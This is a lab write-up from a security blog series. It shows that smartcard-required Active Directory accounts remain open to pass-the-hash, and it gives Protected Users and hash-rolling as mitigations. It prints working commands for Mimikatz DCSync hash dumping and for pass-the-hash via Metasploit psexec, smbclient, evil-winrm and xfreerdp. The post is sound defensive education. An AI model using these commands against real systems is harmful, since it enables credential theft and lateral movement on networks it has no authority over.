Smartcards and Pass-the-Hash

TL;DR smartcards are great for anti-phishing, stopping users from writing passwords down on sticky notes, and/or sharing them. They do not however stop PtH.

Welcome to Part XIV of our Back to the Basics Series!

Part I: NTDS.dit vs SAM

Part II: Ownership Matters

Part III: Recovering from a Crash

Part IV: Setting up a Simple Honeypot Account

Part V: Automating DC Deployment

Part VI: Sometimes it’s the dumbest thing

Part VII: Merry Christmas, macros, & Base64

Part VIII: Why old 0 Days make great teaching tools

Part IX: PowerShell & PS1s without PowerShell.exe

Part X: Ownership & so called “effective permissions”

Part XI: Windows Event Forwarding & SACLs

Part XII: Poorly planned honeypots & other Bad Ideas

Part XIII: Setting up a simple honey token

Part XIV: Smartcards and Pass-the-Hash

Part XV: Forwarding logs to Sentinel & basic alerts

Part XVI: Automating VM deployments in Hyper-V

Part XVII: Migrating the lab from ESXi to Hyper-V

Part XVIII: Centrally managing Hyper-V & Live Migrations

Background

I had done some research back when I was working auditing on smartcards, NTLM, how Windows caches a hash when a Domain User logs in to a domain workstation even if they use a smartcard, and what exactly “smartcard is required for interactive logon” does.

SANS has said before in their courses that “smartcards are great, but they’re not a panacea”. They didn’t elaborate on that, but the gist of it is that by default:

• An attacker who gains local admin can dump a smartcard user’s NTLM from a domain workstation.
• The attacker can then PtH even if smartcard logon is required in AD.
• The NTLM hash does not change in older Windows domains, even if the user changes their PIN or gets a new smartcard.

This isn’t new information, Sean Metcalf stated back in 2016

“Administrators should have separate admin workstations for administration activities. Admin accounts should never be logged onto regular workstations where user activities such as email and web browsing are performed. This limits credential theft opportunities. Note that smartcards don’t prevent credential theft since accounts requiring smartcard authentication have an associated password hash that’s used behind the scenes for resource access. The smartcard only ensures that the user authenticating to the system has the smartcard in their possession. Once used to authenticate to a system, the smartcard two factor authentication (2fA) becomes one factor, using the account’s password hash (which is placed in memory). Furthermore, once an account is configured for smartcard authentication, a new password is generated by the system for the account (and never changed).”

However I am not sure it is well understood. Additionally I had been meaning to test out this theory for awhile and just hadn’t gotten around to it.

So without further ado let’s get in the lab and do the thing.

Setup

We don’t have actual physical smartcards in use in test.local or lab.local, but we can pretend that we do. Simply set a user to require one.

Set-ADUser frisky.mcrisky -SmartcardLogonRequired $true

#Confirm
Get-ADUser "Frisky.McRisky" -Properties * | Select-Object SamAccountName, SmartCardLogonRequired, PasswordLastSet

Or if you prefer the GUI:

Note that the setting in Active Directory Users & Computers (ADUC) specifically states “smart card is required for interactive logon”. This is important as those familiar with Windows domains know that interactive is not the only way to logon.

About that hash …

You will notice something; AD automatically changes Frisky’s NTLM hash when this setting is configured. The Domain User won’t notice, as far as they’re concerned they don’t have a password.

Since Frisky doesn’t actually have a smartcard to logon to a workstation with, we will grab that hash via Mimikatz DCSync.

. C:\Temp\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"lsadump::dcsync /user:lab\frisky.mcrisky"'

Pass-the-Hash even if smartcard is required

We tested this out using PSExec, smbclient, evil-winrm, and xfreerdp from Kali.

Please note that one has to disable Defender before PSExec will work at all as Defender does its job well and blocks the payload. Don’t count on that against a real attacker though as they are likely to use a custom payload.

PSExec

msfconsole

use exploit/windows/smb/psexec
set RHOSTS 192.168.0.250
set SMBDomain lab.local
set SMBPass aad3b435b51404eeaad3b435b51404ee:df08649d41be150409cd043189aeed2b
set SMBSHARE C$
set SMBUser frisky.mcrisky
run

getuid
sysinfo

On an interesting sidenote, the version of Metasploit I have on my Kali VM doesn’t know quite what to make of Windows Server 2025 running a 2025 domain functional level. It reports it as “Windows 10.0 build 25951”, which CW6 Google interprets as Windows 11 Insider Preview.

smbclient

smbclient //192.168.0.250/C\$ -U frisky.mcrisky --pw-nt-hash df08649d41be150409cd043189aeed2b -W lab.local

evil-winrm

evil-winrm -i 192.168.0.250 -u frisky.mcrisky -H df08649d41be150409cd043189aeed2b

Evil-winrm is a great tool by the way. It simply uses the legitimate PowerShell remoting protocol (PSRP), much as xfreerdp uses legitimate RDP. Hence unlike PSExec neither of these requires disabling Defender to work.

The difference between evil-winrm and xfreerdp of course is that PowerShell WinRM uses a network logon whereas RDP uses RemoteInteractive. This is why evil-winrm works via PtH even if smartcard logon is required.

xfreerdp

xfreerdp /u:frisky.mcrisky /d:lab /pth:df08649d41be150409cd043189aeed2b /v:192.168.0.250

This of course fails as RDP uses RemoteInteractive.

Mitigations

Microsoft is talking about ending NTLM at some point. In the meantime though one can

• Put Privileged Users in the Protected Users group in AD
• Set their accounts to not allow delegation
• Require smartcard logon naturally

These steps taken together all but make PtH, PTT, password cracking, even credential dumping, and other such shenanigans useless for an attacker. The Protected Users group doesn’t use NTLM, so there’s nothing there to dump. Even if an attacker somehow gets ahold of a Protected User’s NTLM it won’t work for PtH as seen in PSExec, smbclient, and evil-winrm after we put Frisky.McRisky in that group.

We talked a bit about the security benefits of the Protected Users group here as a great mitigation in general against the risk of NTLM dumping and abuse.

This is what the attacker will see attempting to PtH on a Protected Users account.

What this won’t stop

If Frisky is careless, web browses with their privileged account, clicks on random crap, plugs thumb drives they found in the parking lot into their work computer, etc then of course they can still get compromised.

If your delegations are sloppy then an attacker could still find an escalation path and compromise Frisky’s account in AD via setting a logon script, resetting their password, etc. Contrary to what a certain vendor has said in numerous places, the attacker doesn’t have to remove the smartcard requirement to login as Frisky using a password that they were able to set on the account. They would only have to perform a network logon.

Please note that Frisky is not in the Protected Users group below, if they were an attacker could still do a network logon from a domain workstation using Kerberos however. This is to illustrate that requiring smartcards doesn’t stop an attacker from resetting their password and logging in as them without changing the smartcard configuration.

Check if you are rolling the hashes

By default older Windows domains do not change the NTLM tied to smartcard users. Getting a new card and changing the PIN doesn’t change the hash.

Newer domains do roll the hash by default. One can confirm in Active Directory Administration Center (ADAC) under the domain properties.

Summary

Please do not take this as criticism of smartcard usage at all. We are big fans of smartcards. I cannot recall a user ever complaining about them. Overall they are great for security. Just don’t suffer under the misconception that they are a ‘cure all’ and stop there. Continue to practice good security hygiene, audit your delegations in AD, and strongly consider using the Protected Users group and disabling delegation on privileged user accounts.

References

smbclient cheatsheet: https://www.thegeekdiary.com/smbclient-command-examples-in-linux/

PTH with smbclient: https://www.n00py.io/2020/12/alternative-ways-to-pass-the-hash-pth/

PTH with xfreerdp: https://www.kali.org/blog/passing-hash-remote-desktop/

Administrative tools & logon types: https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types

Detailed guide to evil-winrm: https://www.hackingarticles.in/a-detailed-guide-on-evil-winrm/

mimikatz cheatsheet: https://happycamper84.medium.com/mimikatz-cheatsheet-ad2b88059b4

Microsoft on rolling NTLM hashes: https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/whats-new-in-credential-protection

Windows may bug users to change their pwd: https://www.reddit.com/r/sysadmin/comments/lvkhpo/rolling_ntlm_secrets_and_password_expiration/

STIG requiring rolling NTLM hashes every 60 days: https://www.stigviewer.com/stig/active_directory_domain/2016-12-20/finding/V-72821

Password reset smart card only accounts — Why should I care?: https://secureidentity.se/pw-reset-sc-only-accounts/